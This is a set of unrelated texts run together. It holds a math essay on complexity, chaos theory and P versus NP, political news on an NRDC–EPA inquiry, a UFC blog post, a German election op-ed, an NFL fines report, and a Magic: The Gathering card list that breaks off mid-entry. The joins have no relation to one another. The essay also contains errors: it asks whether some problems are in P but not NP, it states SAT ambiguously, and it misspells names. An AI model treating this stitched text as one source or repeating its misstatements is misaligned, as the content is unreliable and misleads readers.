-In honor of Mathematics Awareness Month I will take an idiosyncratic look at mathematical aspects of complexity, in particular some history of mathematical approaches and insights into this subject...  Joseph Malkevitch  York College (CUNY)  malkevitch at york.cuny.edu  Are tax forms complex? Is the world wide system of selling stocks a complex one? What about the Mandelbrot set?  Figure 1 (Mandelbrot set - Courtesy of Wikipedia)  What is a complex system? How can we measure complexity? Is complexity "good" or "bad?"  One of the features of mathematics is that it likes to streamline the insights that it has obtained and present its ideas in an organized and transparent manner, often starting from first principles. Yet many people do not see mathematics as a sleek or simple subject. They see it as a very complex subject.  Every year, to try to put in perspective the important contributions mathematics makes to America, we celebrate Mathematics Awareness Month. This year the theme for Mathematics Awareness Month is Unraveling Complex Systems. One particular aspect of complex systems that mathematics has helped illuminate is the way a system which has many parts organizes so that it often shows regularities that evolve over time. An example of this is when one sees a flock of birds take off and soon after they are airborne, one sees an organized pattern rather than the pandemonium of the flock taking to the air. Another example of this genre is the phenomenon of fireflies "blinking" in unison. Sometimes things which are disorderly assemble themselves into an orderly array, but sometimes the opposite occurs. Sometimes things we are used to working in concert, such as an electrical network or communications system (cell phone network), go into disarray. This can occur because of the failure of some critical backbone to a complex system which, when it fails, causes smaller subunits of the system to go down and eventually can bring the whole system to a halt.  In honor of Mathematics Awareness Month I will take an idiosyncratic look at mathematical aspects of complexity, in particular some history of mathematical approaches and insights into this subject.  History  As the importance of a topic matures it is often useful to look back and see the roots of the subject and how it evolved with time. It is not an accident that deterministic systems were studied before stochastic ones. For systems that have a mixture of deterministic and chance elements, it is common to take on the deterministic parts first. One source of complexity is that chance events are are harder to sort out. Or so it seemed until relatively recently - more of this in a bit. Thus, algebra and geometry were developed in many sophisticated directions (in Egypt, China, Babylonia, India, etc.) before a systematic approach to probability theory started to emerge in the 17th century in the work of Pascal and Fermat. Another early pioneer in the complexities that chance events cause in the understanding of our work was Thomas Bayes.  Figure 2 (Reverend Thomas Bayes)  Whereas until relatively recently a frequentist-based approach to making decisions was the norm, more and more discussions are being made of the use of ideas implicit in Bayes work for making decisions and reaching conclusions. For example, suppose one wants to argue that a certain die, which looks very symmetrically manufactured, is a fair die. One might roll this die 60 times and record the relative frequency of one dot, two dots, ..., six dots. However, it not very likely that each number of spots will occur equally often. If 6 occurs slightly more often than the other numbers of spots, does this mean a slight bias towards 6 appearing? A Bayesian approach might use the "data" from the 60 tosses as input for further work to try to give an answer to the question as to whether or not the die is fair.  It would seem that systems that involve randomness would raise "complexity issues" beyond those of deterministic systems, so it was a big surprise when it emerged that deterministic systems could show behavior of such complexity that had not been dreamed of! This type of behavior has now come to be called "chaotic" behavior to distinguish it from systems that are subject to "genuine" randomness. The discovery of deterministic chaotic systems motivated a renewed interest into how to tell if a system was truly random, and how to design systems that looked as if they were random but were "pseudo-random."  In retrospect there were a variety of examples of deterministic "chaos" in the work of Poincaré before the more recent work put chaos "on the map." Relatively recent contributions were made by Robert May, James Yorke (who coined the use of the word "chaos" to describe complex deterministic behavior), Mitchell Feigenbaum and others. May called attention to the complexities of ecological systems. A hallmark of this period was the complex behavior associated with the logistic map.  Figure 3 (Bifurcations of the logistic map - courtesy of Wikipedia)  This involves the iteration of computing from a given input x, the value r(x)(1-x) (where r is a fixed constant) as an "output" and then using this output value to compute r(x)(1-x) again. The fact that a quadratic equation could show this level of complexity was quite a surprise. It was Robert May (now Lord May of Oxford) who in 1978 first called attention to the complexities of this map in a variety of simple models motivated by questions in biology.  Figure 4 (Lord May, Courtesy of Wikipedia)  The mathematician and meteorologist Edward Lorenz had in essence called attention to a similar phenomenon in what is seen in difference equations for differential equations. It was Lorenz who coined the term "butterfly effect." This notion suggests that something as minute as a butterfly's flapping its wings can be responsible for much more dramatic effects separated from the original action in time and space. In the area of chaos people also speak of sensitive dependence on initial conditions. For example, if one runs a simulation of a system (based on a differential equation or difference equation), one needs to have initial conditions to indicate the starting state for the system. The difference equation then can be used to see what the future state of the system would be. It had been thought that a small difference in the starting conditions for running the simulation would lead to similar long term outcomes. This turned out not to be true. Two simulations that differed in the initial conditions that varied in the 10th decimal place might have nothing to do with each other after a very small number of time steps! Lorenz noted this phenomenon in the context of weather predictions.  Computers and complexity  One of the major tools people use to deal with complex systems are computers. It is often difficult to understand the relation of computer systems to humans these days because humans have come to depend so much on complex systems that can be run only by computers. For example, trades are now routinely carried out on stock markets much more quickly than could be done by humans without computer systems. Historically people have taken comfort in the fact that computers do impressive things because of their speed but that they don't seem capable of feats that seem to involve "thinking" or "creativity." Traditional examples of seemingly unique human skills are playing checkers, playing chess, and other "games" that seem to require thinking and intelligence. First, a checkers-playing program was developed which played checkers better than any human opponent. IBM developed a computer system known as Deep Blue which beat Gary Kasparov in a well-publicized match. Although Deep Blue was "retired," modern chess playing programs are amazingly good.  To deal with hard and technical problems humans have turned to machines - computers - to help them. While such computing machines have a long history, it was only in the 20th century that dramatic progress was made. Two major figures in this work were John Von Neumann and Alan Turing.  Figure 5 (Photo of John Von Neumann)  Von Neumann was a pioneer in developing the theory and implementation of early stored program digital computers. Turing's interest in computers was spurred by his World War II efforts to use computers to help break German codes.  Figure 6 (Photo of Alan Turing)  Turing, one of the pioneers of computer science and the complexity questions that became a part of computer science, invented a simplified "conceptual" computer now known as the Turing machine. The Turing machine is a conceptual device which marks symbols on an infinite tape which can be advanced in either direction from the cell that is currently being "looked at" by a "head" or reader. Turing was able to show that any problem that could be solved on a "standard" computer could also be solved on a Turing machine. Thus, this "standardized" device enabled one to talk about complexity without talking about the hardware of an actual machine. A supercomputer can solve problems more quickly than a Turing machine when they can be solved, but it cannot solve any problem that a Turing machine cannot solve!  The Turing machine can be used to investigate which problems a computer could solve and which are too hard/complex for computers. This is a curious turn of phrase because it is not customary to frame discussions of computers with what they cannot do! However, it has been shown using human ingenuity that there are indeed such problems. One of the best known of such problems is the halting problem. Turing showed that the halting problem could not be answered by a computer in 1937, though the name "halting problem" is due to the mathematician and computer scientist Martin Davis. The result asks for an algorithm which, when given to a Turing machine, will answer yes or no to this question: Will a given program terminate in a finite amount of time? It turns out there is no such algorithm. Such questions are known as algorithmically undecidable. Questions such as this are related to the fundamental questions about "decidability" in mathematical systems that Kurt Gödel studied.  Complexity classes  In discussing the complexity of different kinds of problems, the problems involved can be placed into different categories. Even for experts who are trying to stay abreast of developments in this rapidly emerging field, there is a complex alphabet soup of classes and types of problems considered. Here I will try merely to address some issues related to the best known of these classes and ideas. Among the kinds of questions that are considered are decision problems (ones that have a "yes" or "no" answer) and optimality problems (problems where one is seeking a "best" solution with respect to some objective function). When talking about complexity it is common to use the phrase "instance" of a problem to refer to a particular case of the problem involved. For example, if one's problem is to sort a list of n integers from smallest to largest, an instance of size 6 would be to sort the six numbers 5, 9, 23, 3, 1, 100 and an instance of size 10 would be to sort 1, 5, 2, 7, 90, 30, 200, 38, 2, 11. One might talk about the problem of factoring integers with n digits and an instance of this problem for n = 8 would be to factor 81,123,121.  The complexity class P consists of problems which can be solved in terms of a natural parameter of the problem n in a polynomial (in terms of n) amount of time (work) . For example, for a list of n positive integers one can ask how long it will take to sort these numbers into a list from smallest to largest. Sorting positive integers is an example of a problem in P, since there are known algorithms which accomplish this in polynomial time. We are not considering which is the best polynomial time algorithm, only whether there is a polynomial time algorithm or not. Clearly, it is of interest for a particular kind of problem like sorting to know "optimal" algorithms. However, in many cases it is valuable merely to know that there is a polynomial upper bound for the effort needed in solving a problem.  The complexity class NP (non-deterministic polynomial) refers to problems where it is possible to check that a proposed answer to an instance of such a problem can be solved in polynomial time. For example, consider the number 81,123,121. While this number may be "hard" to factor, if someone gives a proposed factorization (29 x 83 x 33703) it is quite speedy to check that is indeed a correct factorization. NP is the complexity class of problems for which one can check answers to instances of a problem in a polynomial time amount of work in terms of the size of an instance of the problem. The question of the complexity of factoring is of particular interest because there are cryptological systems whose security depends on the fact that factoring some large integers into primes seems to take a lot of computer time. Currently, it is not known if factoring can be done in polynomial time. Until relatively recently it was not known if one could check if an integer was a prime in polynomial time, but this was done in 2002. However, the algorithm which showed that prime testing was in P is not as practical as other algorithms for checking if a specific number is prime. There are still important natural questions (factoring, graph isomorphism) whose complexity is not fully understood.  When discussing the complexity of instances of a problem, some instances of the problem may be much easier to solve than others. This leads to the distinction between worst-case complexity questions versus average-case complexity. There may be some situations where there are very hard instances of the problem but on average the situation may be much better. For example, there are linear programming problems which require an exponential amount of "work" to solve using a particular algorithm, although "typical" linear programming instances may be answerable using the algorithm rather quickly. As complexity theory has developed, results about the worst-case behavior of problems has typically come earlier than results about the average-case complexity of the same problems. Because some problems come up in applications a lot, there are also issues about finding approximate answers which are "good enough" quickly.  What is your intuition? Are the classes of problem P and NP the same or different? What is being asked is are there problems which belong to P but not to NP? Are there problems which are in NP but not in P? Many people find it easy to imagine that there are problems which are easy to check if one has a proper answer but for which finding an answer might not be easy to do. However, rather astonishingly, we don't know if P = NP or not. This problem is of sufficient importance that it is viewed by many as the most important unsolved problem in computer science and mathematics. The Clay Foundation has offered a million dollar prize for the resolution of this problem.  However, there is a bit more to the issue of P versus NP. Within the class NP there is a class of problems which are called NP-complete. NP-complete problems are problems which have the property that if any one of them could be shown to be in P, then all of them would also be shown to be in P. Thus, from the viewpoint of how hard NP-complete problems are, they are all alike. Either all of them can be solved in polynomial time or they all require exponential time algorithms to solve. Again, if one NP-complete problem could be shown (proved) to require an exponential amount of effort in terms of n, the problem-size parameter, then all of them would require this effort as well. Another term one sometimes sees is NP-hard. NP-hard problems are those that are sometimes informally described as being at least as hard as any problems in NP. What happens if it should turn out that P ≠ NP? In this case the NP-hard problems cannot be solved in polynomial time. Should it be the case that P = NP, the question as to whether or not NP-hard problems can be solved in polynomial time would still be unresolved. Note that despite the appearance of NP in the NP-hard term, there are NP-hard problems that are not in NP. This is a sad artifact of the terminology as it evolved and unfortunately the clock cannot be turned back. In retrospect, a less arcane collection of definitions could have been selected here. When new ideas emerge very rapidly, sometimes terminology doesn't get set optimally. It is a result of Richard Ladner (1975) that there are circumstances where there are problems which are outside the NP-complete problems and the P problems which are in NP. Thus, should it be shown that P and NP are not the same, there would be problems which are neither in P nor are NP-complete. These problems, to add to your list of terminology, are sometimes called NP-intermediate. The example Ladner found is not considered a "natural" question, however. Investigators are still looking for natural examples, that is, one's that come up in mathematical practice.  Here is another intriguing aspect of complexity within computer science and mathematics related to proofs and algorithms. There is a tendency for proofs of mathematical theorems to get more streamlined after a first proof has been found. There seems to be a psychological hurdle such that after a theorem is shown to be true, especially for "important theorems," shorter and more insightful proofs often are found. However, for algorithms for particular problems it is often the other way around. Algorithms sometimes get more complex in attempts to find an algorithm which answers a question "faster." Thus, there may be a conceptually straightforward quadratic-time algorithm for a problem, while one might need to have much more sophisticated ideas (and sometimes data structures) come into play to find an algorithm which improves over quadratic time. Thus, there are algorithms which will sort integers that are quadratic algorithms. These algorithms are not optimal, however, even if they are quite easy to understand. For sorting numbers it is fairly well understood how many different approaches to sorting perform in the worst case and, on average, and they will do better than quadratic complexity. The optimal speed for the solution of particular classes of problems is often extremely difficult to find. For example, an initial algorithm for a problem may be designed to attack all comers - all types of instances within the problem that is under investigation. However, one might be able to find a way to partition the instances of a problem so that different schemes are used to solve an instance within the different partition classes. Thus, one would have a specialized fast algorithm for each class, while no algorithm would run that quickly on any particular instance chosen without regard to the partition.  Evolving ideas  The part of mathematics and computer science concerned with complexity theory has had many major contributors. However, two individuals responsible for a major breakthrough were Stephen Cook and Leonid Levin.  Figure 7 Photo of Leonid Levin (Courtesy of Wikipedia)  Figure 8 Photo of Stephen Cook (Courtesy of Wikipedia)  It was Cook and Levin who pioneered (independently) the notion of NP-complete problems. Though their work was first done in different countries and in different languages and the details of the approaches they used were also different, they got to the same place. In what is now called the Cook-Levin Theorem, they showed that the problem known as SAT belongs to the complexity class now known as the NP-complete problems. A Boolean expression is one that can be built up from the logical connectives "and," "not" and "or." For example: (x and not y) or (z and not x) is a Boolean expression involving the three variables x, y and z. A Boolean expression becomes true or false when the variables in the expression are assigned the truth values true or false. SAT is the question: Given a Boolean expression, is it always true that there is a truth assignment to its variables so the whole expression is true? Cook and Levin showed that this problem was in NP and that for an instance of any other problem Q in NP, there was a polynomial time algorithm for a (deterministic) Turing machine which would transform this instance of Q to an instance of SAT. It followed that NP-complete problems are ones such that they can be transformed to each other using a polynomial time algorithm. If one of these problems was shown to be in P, then all of them would be in P. There still remains the major (million dollar!) question, already mentioned, as to whether or not P and NP are really the same class!  Many investigators fleshed out the ideas that Cook and Levin pioneered. In a surprisingly short amount of time there emerged many new astonishing ideas. In particular, Oded Goldreich, Shafi Goldwasser, Silvio Michali, and Avi Wigderson have done fascinating work. The have shown connections between complexity ideas and cryptography, zero-knowledge proofs, randomness and pseudo-randomness to name just a few of the exciting issues these researchers have explored. For their efforts they have won many important awards in computer science and mathematics. In particular, they have explored issues involving complexity classes where "randomness" plays a role. At the heart of these problems is the issue of whether algorithms that use randomness in an essential way (randomized or probabilistic algorithms) are more powerful than algorithms which are deterministic.  Figure 9 Photo of Oded Goldreich (Courtesy of Wikipedia)  Figure 10 Photo of Shafrira (Shafi) Goldwasser (Courtesy of Wikipedia)  Figure 11 Photo of Silvio Michali (Courtesy of Wikipedia)  Recent news  We all know from personal experience that computers have much more storage and are much faster than they were in even the relatively recent past. We are also rightly impressed with the success of researchers at IBM in designing a computer system, Watson, that successfully defeated the best human opponents at Jeopardy!. The nature of playing Jeopardy! requires knowing a tremendous amount of very diverse "facts" as well as the ability to interpret ordinary language often given in terms of puns.  Figure 12 The "avatar" for IBM's "Watson" (Courtesy of Wikipedia)  Interacting with natural language seems not to be on the radar of the computer systems we interact with on a daily basis, so the accomplishment of Watson is all the more impressive. What seems to have made Watson's accomplishment possible was a combination of hardware--processors that could do computations with incredible speed and memory units to store tremendous amounts of data--put together with ideas from machine learning and artificial intelligence (AI). Watson was programmed so that the more it played Jeopardy!, the better it got. This is the goal of researchers in machine learning, an area which overlaps with artificial intelligence. It has been hard to define artificial intelligence but loosely speaking the idea is to get computers to do things which seem to display "intelligence/creativity."  Not long after Watson won its competition against human opponents on Jeopardy!, Leslie Valiant won the prestigious Turing Award from the ACM (Association for Computing Machinery) for 2011. The citation mentions his many contributions to complexity theory and machine learning.  Figure 13 Photo of Leslie Valiant (Courtesy of Wikipedia)  Mathematics and computer science will continue to look at the issue of complexity in attempts to sort out not only the relative difficulty of solving various problems, but using insights into complexity to understand our world better. April will be a good month to ponder all of these exciting issues!  References  Alligood, K., and T. Sauer, J. Yorke, Chaos: An introduction to dynamical systems, Springer-Verlag. New York, 1997.  Arrow, H., and J. McGrath, J. Berdahl, . Small groups as complex systems: Formation, coordination, development, and adaptation, Sage, Thousand Oaks, Ca., 2000.  Aurora, S., and B. Boak, Computational Geometry a Modern Approach, Cambridge U. Press, New York, 1999.  Bar-Yam, Y., Dynamics of Complex Systems.: Addison-Wesley, Reading, MA., 1997.  Cambel, A., Applied chaos theory: A paradigm for complexity, Academic Press, San Diego, 1993.  Cormen, T., Introduction to Algorithms, (Second Edition), MIT Press, Cambridge, 2001.  Flake, G., The Computational Beauty of Nature: Computer explorations of fractals, chaos, complex systems, and adaptation, MIT Press, Cambridge 1998.  Garey, M. and D. Johnson, Computers and Intractability, A Guide to NP-completeness, W.H. Freeman, 1979.  Gell-Mann, M., The quark and the jaguar: Adventures in the simple and the complex. W.H. Freeman, San Francisco:, 1994.  Goldreich, O., Computational Complexity: A Conceptual Perspective, Cambridge U. Press, New York, 2008.  Goldwasser, S. and Micali, S. Probabilistic Encryption. Special issue of Journal of Computer and Systems Sciences, 28 (1984) 270-299.  Gaston, G. and R. Baeza (eds.), Handbook of Algorithms and Data Structures, Addison Wesley, 1991.  Hubbard, J. and B. West, Differential Equations: A dynamical systems approach, Springer-Verlag, New York, 1991.  Lorenz, E.., The Essence of Chaos, University of Washington Press, Seattle, 1993.  Mainzer, K. . Thinking in Complexity: The Complex Dynamics of Matter, Mind, and Mankind. New York: Springer-Verlag., 1994.  Nicolis, G., and I. Prigogine, Exploring Complexity: An Introduction, W. H. Freeman., San Francisco, 1989.  Nielsen, M. and I. Chuang, Quantum Computation and Quantum Information, Cambridge U. Press, New York, 2000.  Papadimitriou, C., Computational Complexity, Addison Wesley, 1994.  Peak, D., and M. Frame, Chaos under control: The art and science of complexity, W. H. Freeman, New York, 1994.  Peitgen, H.-O., and H. Jurgens, D. Saupe, Chaos and Fractals: New Frontiers of Science. New York: Springer-Verlag, 1992.  Pickover, C. (Ed.), Fractal horizons: The Future Use of Fractals.: St. Martin's Press, New York, 1996.  Prigogine, I., The End of Certainty: Time, Chaos, and the New Laws of Nature, The Free Press, New York, 1996.  Prigogine, I., & Stengers. (1984). Order out of chaos: Man's new dialogue with nature. New York: Bantam.  Rasch, W., & Wolfe, C. (Eds.), Observing Complexity: Systems Theory and Postmodernity. University of Minnesota Press, Minneapolis, 2000.  Ruelle, D., Chance and Chaos, Princeton University Press, Princeton, 1993.  Sipser, M., Introduction to the Theory of Computation, PWS, Boston, 1997.  Smith, P., Explaining chaos, Cambridge University Press, New York, 1998.  Stewart, I., Does God play dice? The new mathematics of chaos (Second ed.), Blackwell, 2002.  Van Leeuwen, J. (ed.), Handbook of Theoretical Computer Science, Vol. A: Algorithms and Complexity, MIT Press, Cambridge, 1990.  Waldrop, M., Complexity: The emerging science at the edge of order and chaos, Simon and Schuster, New York, 1992.  Wolfram, S., A new kind of science, Wolfram Media Champaign, 2001.  Those who can access JSTOR can find some of the materials mentioned above there. For those with access, the American Mathematical Society's MathSciNet can be used to get additional bibliographic information and reviews of some of these materials.
-The Natural Resources Defense Council (NRDC) mocked congressional Republicans’ investigation of that group’s potential collusion with federal regulators Thursday.  In a post on NRDC’s blog, David Goldston, its top lobbyist, said he received a letter from Sen. David Vitter David Bruce VitterBottom Line Bottom Line Top 5 races to watch in 2019 MORE (R-La.) and Rep. Darrell Issa Darrell Edward IssaThe Hill's Morning Report — Shutdown fallout — economic distress Former congressmen, RNC members appointed to Trump administration roles Senate throws hundreds of Trump nominees into limbo MORE (R-Calif.) asking for all of the group’s communications with the Environmental Protection Agency (EPA) regarding its carbon pollution rule for power plants and the Pebble Mine in Alaska.  ADVERTISEMENT  “The more one reads the letter, the more it seems like self-parody, at best,” Goldston wrote. “At worst, it’s a transparent effort to silence anyone promoting policies with which the right wing disagrees.”  Vitter, the top Republican on the Environment and Public Works Committee, and Issa, chairman of the Oversight Committee, launched the investigation Tuesday into allegations of collusion between the group and the agency. It came after a July New York Times story saying NRDC wrote the framework for June’s major climate rule proposal.  Goldston argued in his blog post that the NRDC’s communications with the EPA were no different from other meetings and conversations the agency had with stakeholders and outside groups.  “NRDC’s climate experts developed a proposal, publicly released it, and then met with everyone we could about it — news media, utilities, EPA; you name it,” he said. “EPA took the proposal into consideration — it didn’t adopt it outright, and indeed NRDC will be publicly pushing for changes in what EPA proposed.  He questioned how the Republicans define collusion and “outsized influence,” because numerous other groups met with the EPA before it released the proposal.  But Goldston was also concerned about Republicans finding a problem with a group like NRDC influencing government policies.  “Those trying to influence public policy using the normal tools of government should not have to fear investigation from those who oppose their proposals,” he said.  The EPA has been similar defensive of its policies since the Times story was published.  Shortly after it ran, EPA head Gina McCarthy Regina (Gina) McCarthyOvernight Energy: Joshua Tree National Park lost M in fees due to shutdown | Dem senator, AGs back case against oil giants | Trump officials secretly shipped plutonium to Nevada Overnight Energy: Ethics panel clears Grijalva over settlement with staffer | DC aims to run on 100 percent clean energy by 2032 | Judges skeptical of challenge to Obama smog rule Judges skeptical of case against Obama smog rule MORE sent a memo to her staff mocking the Times.  “According to an article from Monday, you just cut and pasted a particular [non-governmental organization’s] proposal and called it a day,” she wrote. “If you're laughing right now, it's because you know just how preposterous that is.”  The EPA has also pointed to the hundreds of meetings it had with stakeholders, state and local officials and others before proposing the rule.
-With the UFC gaining acceptance in the mainstream with the Fox deal it signed a year ago, there are still some media types out there who haven't grasped the appeal of it. One of these media types is CBS college basketball basketball analyst Seth Davis, who had a pair of now deleted tweet during UFC 154 on Saturday night, calling the UFC "homoerotic"…  Oh bother. What exactly separates the UFC from boxing or wrestling to earn that kind of label? Perhaps Davis thinks the same of all combat sports? I'm not sure how twisting a joint off or smashing someone's face into rubble is homoerotic, but hey, more power to you. It's not as if CBS underwent a foray into MMA years ago, before the UFC even hinted at signing a deal with Fox… oh wait, they did, with both EliteXC and Strikeforce shows taking place on the network.  To his credit, Davis fessed up to the poor taste of the tweets after being called out by MMA journalist Ariel Helwani of MMAFighting.com.  I don't know what exactly would possess a member of the mainstream media to come out and call another sport homoerotic, but at least Davis realized he screwed up and is taking the backlash like a man. As much as this was in bad taste, it's yet another example of a hurdle the UFC has to clear in its race towards mainstream acceptance as a sport.  [The Big Lead]
-Flickr/Abode of Chaos. Some rights reserved.  There is a Chinese proverb: “May you live in interesting times.” And by God we Germans are. We get to decide who benefits from our prosperity and who simply gets a mini-job or a television to keep them occupied. We get to reclaim our privacy rights and understand the Neuland that is the Internet. We get to set up windmills and thousands of kilometres of energy grids to ensure our independence or to save polar bears from drowning. We can afford to empathise with the Greek shop-owner and make up for our harsh and misguided austerity policies.  Despite all of this, the German election campaign has been vague and terminally, terminally boring. This is no accident. Rather, it’s the tactical brilliance of Angela Merkel, who will win the 22 September election by default provided she ensures that visions and policy issues have no place in this campaign.  In her eight years as Chancellor, Ms. Merkel has created a political culture that leaves no room for criticism or political debate. She does this by presenting all major decisions as being involuntary acts of necessity. Whether she is creating Europe’s largest renewable energy market or signing guarantees on Greek debt, Ms. Merkel has depicted herself as a curator, not an agent.  Caught up in Merkel’s game  If it weren’t for Fukushima, we would still have nuclear energy. If it weren’t for the mistakes of the SPD, Greece would not be in the Eurozone, and she wouldn’t have to impose austerity on its people. Since she governs without personality or conviction, her choices are characterised as necessities and her mistakes are easily rebranded as systemic problems rather than failures of judgement. In summary, she is an anti-visionary and, in this respect, an anti-leader. Her electoral campaign leaves no room for policy choices about Germany’s future. If you accept her terms, there is no room for meaningful opposition either… and it is almost impossible for the leader of the opposition to portray himself as the “anti-Merkel”.  This doesn’t, of course, remove all blame from her opponent Peer Steinbrück. Nothing stood in the way of him swamping this campaign with personality, vision and a grand political alternative to the current state of affairs except his lack of personality, vision and a grand political alternative. Any great opposition leader with political convictions of his own, strategists and a desire to win might have caught up with Merkel’s game. But only a brave opposition can profit in such circumstances: the seats for the party that rises from the grave merely to scratch at the surface of the issues have already been reserved for Merkel’s liberal coalition partner, the FDP.  The real tragedy of this campaign is that it de-politicises the German people and robs the electorate of their democratic agency. Voters are not being given the opportunity to participate in a process that could bring about change and have been given no material by which to pass value judgements. Of course, as a voter, you have the right not to hold an opinion on political issues that do not concern you directly.  But this negative democratic freedom is one afforded to voters, not their leaders! The function of an election is the crystallization of issues – no matter how complex they may appear – into the policies and principles that underlie them, allowing voters to make value judgments on competing visions, and so to decide on their future.  No vision, No future  Whilst the next Chancellor, or let’s be honest, Ms. Merkel, inherits the good fortune of economic growth, making domestic affairs and social policies easier to deal with, the greatest and historic challenge lies in addressing the question of Europe. Germany’s approach is still grossly insufficient. Perhaps Ms Merkel would not have let the entire southern periphery into the Eurozone. Perhaps she would have never signed the Maastricht Treaty either or turned the EEC into the EU. Who knows? But it does not follow that she has no agency in any of the decisions she has made since then or that her actions have no political consequences. Equally feeble is the opposition leader’s grand counter-narrative: “Eurobonds! Eurobonds!” Whatever that means.  German voters are not being provided with enough information, or any vision of what the future might look like. This applies to every aspect of this election. Leaders that are willing to govern without the involvement of their people, leaders that have no time for debates or new ideas, have failed their electorate.  This article has previously been published by our partner The European. Thanks go to the editors for allowing us to republish it here.
-PITTSBURGH -- What in past years could have been hailed as the way to finish a run has instead taken a bite out of Jonathan Dwyer’s wallet.  Dwyer has been fined $21,000 for using the crown of his helmet in the Steelers’ 40-23 loss to the Chicago Bears last Sunday night. The fourth-year running back did not draw a penalty on the play but an NFL review of it resulted in a fine.  Wide receiver Antonio Brown, meanwhile, received separate fines totaling $15,750 for unnecessary roughness.  Brown was flagged for unnecessary roughness after grabbing a facemask during a punt return. He received the same penalty after making a tackle following a Ben Roethlisberger interception near the end of the game.  Brown said he plans to appeal the fines.  Dwyer’s fine is a result of a rule change enacted during the offseason. Players are no longer allowed to use the crown of their helmet to strike a blow against defensive players.  The rule change that is part of the NFL’s player-safety initiative has drawn its share of criticism.  One player-safety issue that cropped up with the Steelers this week won’t be investigated by the NFL.  Running back Isaac Redman told the Pittsburgh Post-Gazette that he played in the Steelers’ 20-10 loss at Cincinnati after sustaining a concussion on the opening kickoff. Redman said he lied to doctors so he could get back into the game.  The Steelers have refuted Redman’s claim and said they followed the mandated protocol when a player suffers a possible concussion before clearing Redman to return.  The NFL said it is satisfied with how the Steelers handled Redman’s injury though ESPN NFL analyst Louis Riddick wonders how Redman could have fooled doctors so easily.  Riddick, a former NFL safety, said it is not uncommon for players who have sustained a concussion to do everything they can to stay in a game.  But a league that is doing everything it can to minimize dangerous head hits has to also protect concussed players from themselves.
-Colorless Fireforger's Puzzleknot Artifact When Fireforger's Puzzleknot enters the battlefield, it deals 1 damage to target creature or player. {2}{R}, Sacrifice Fireforger's Puzzleknot: It deals 1 damage to target creature or player.  Dynavolt Tower Artifact Whenever you cast an instant or sorcery spell, you get {e}{e} (two energy counters). {T}, Pay {e}{e}{e}{e}{e}: Dynavolt Tower deals 3 damage to target creature or player.  Ballista Charger Artifact Whenever Ballista Charger attacks, it deals 1 damage to target creature or player. Crew 3 (Tap any number of creatures you control with total power 3 or more: This Vehicle becomes an artifact creature until end of turn.)  Skysovereign, Consul Flagship Artifact Flying. Whenever Skysovereign, Consul Flagship enters the battlefield or attacks, it deals 3 damage to target creature or planeswalker an opponent controls. Crew 3 (Tap any number of creatures you control with total power 3 or more: This Vehicle becomes an artifact creature until end of turn.)  White Impeccable Timing Instant Impeccable Timing deals 3 damage to target attacking or blocking creature.  Fairgrounds Warden Creature When Fairgrounds Warden enters the battlefield, exile target creature an opponent controls until Fairgrounds Warden leaves the battlefield.  Revoke Privileges Enchantment Enchant creature. Enchanted creature can't attack, block, or crew Vehicles.  Skywhaler's Shot Instant Destroy target creature with power 3 or greater. Scry 1.  Captured by the Consulate Enchantment Enchant creature you don't control. Enchanted creature can't attack. Whenever an opponent casts a spell, if it has a single target, change the target to enchanted creature if able.  Cataclysmic Gearhulk Artifact Creature Vigilance. When Cataclysmic Gearhulk enters the battlefield, each player chooses an artifact, a creature, an enchantment, and a planeswalker from among the nonland permanents he or she controls, then sacrifices the rest.  Fumigate Sorcery Destroy all creatures. You gain 1 life for each creature destroyed this way.  Blue Aether Meltdown Enchantment Flash (You may cast this spell any time you could cast an instant.) Enchant creature or Vehicle. When Aether Meltdown enters the battlefield, you get {e}{e} (two energy counters). Enchanted permanent gets -4/-0.  Malfunction Enchantment Enchant artifact or creature. When Malfunction enters the battlefield, tap enchanted permanent. Enchanted permanent doesn't untap during its controller's untap step.  Confiscation Coup Sorcery Choose target artifact or creature. You get {e}{e}{e}{e} (four energy counters), then you may pay an amount of {e} equal to that permanent's converted mana cost. If you do, gain control of it.  Shrewd Negotiation Sorcery Exchange control of target artifact you control and target artifact or creature you don't control.  Black Die Young Sorcery Choose target creature. You get {e}{e} (two energy counters), then you may pay any amount of {e}. The creature gets -1/-1 until end of turn for each {e} paid this way.  Subtle Strike Instant Choose one or both — • Target creature gets -1/-1 until end of turn. • Put a +1/+1 counter on target creature.  Underhanded Designs Enchantment Whenever an artifact enters the battlefield under your control, you may pay {1}. If you do, each opponent loses 1 life and you gain 1 life. {1}{B}, Sacrifice Underhanded Designs: Destroy target creature. Activate this ability only if you control two or more artifacts.  Essence Extraction Instant Essence Extraction deals 3 damage to target creature and you gain 3 life.  Make Obsolete Instant Creatures your opponents control get -1/-1 until end of turn.  Eliminate the Competition Sorcery As an additional cost to cast Eliminate the Competition, sacrifice X creatures. Destroy X target creatures.  Tidy Conclusion Instant Destroy target creature. You gain 1 life for each artifact you control.  Demon of Dark Schemes Creature Flying. When Demon of Dark Schemes enters the battlefield, all other creatures get -2/-2 until end of turn. Whenever another creature dies, you get {e} (an energy counter). {2}{B}, Pay {e}{e}{e}{e}: Put target creature card from a graveyard onto the battlefield under your control tapped.  Noxious Gearhulk Artifact Creature Menace. When Noxious Gearhulk enters the battlefield, you may destroy another target creature. If a creature is destroyed this way, you gain life equal to its toughness.  Red Spark of Creativity Sorcery Choose target creature. Exile the top card of your library. You may have Spark of Creativity deal damage to that creature equal to the exiled card's converted mana cost. If you don't, you may play that card until end of turn.  Chandra's Pyrohelix Instant Chandra's Pyrohelix deals 2 damage divided as you choose among one or two target creatures and/or players.  Harnessed Lightning Instant Choose target creature. You get {e}{e}{e} (three energy counters), then you may pay any amount of {e}. Harnessed Lightning deals that much damage to that creature.  Aethertorch Renegade Creature When Aethertorch Renegade enters the battlefield, you get {e}{e}{e}{e} (four energy counters). {T}, Pay {e}{e}: Aethertorch Renegade deals 1 damage to target creature. {T}, Pay {e}{e}{e}{e}{e}{e}{e}{e}: Aethertorch Renegade deals 6 damage to target player.  Welding Sparks Instant Welding Sparks deals X damage to target creature, where X is 3 plus the number of artifacts you control.  Chandra, Torch of Defiance Planeswalker +1: Exile the top card of your library. You may cast that card. If you don't, Chandra, Torch of Defiance deals 2 damage to each opponent. +1: Add {R}{R} to your mana pool. −3: Chandra, Torch of Defiance deals 4 damage to target creature. −7: You get an emblem with "Whenever you cast a spell, this emblem deals 5 damage to target creature or player."  Fateful Showdown Instant Fateful Showdown deals damage to target creature or player equal to the number of cards in your hand. Discard all the cards in your hand, then draw that many cards.  Furious Reprisal Sorcery Furious Reprisal deals 2 damage to each of two target creatures and/or players.  Incendiary Sabotage Instant As an additional cost to cast Incendiary Sabotage, sacrifice an artifact. Incendiary Sabotage deals 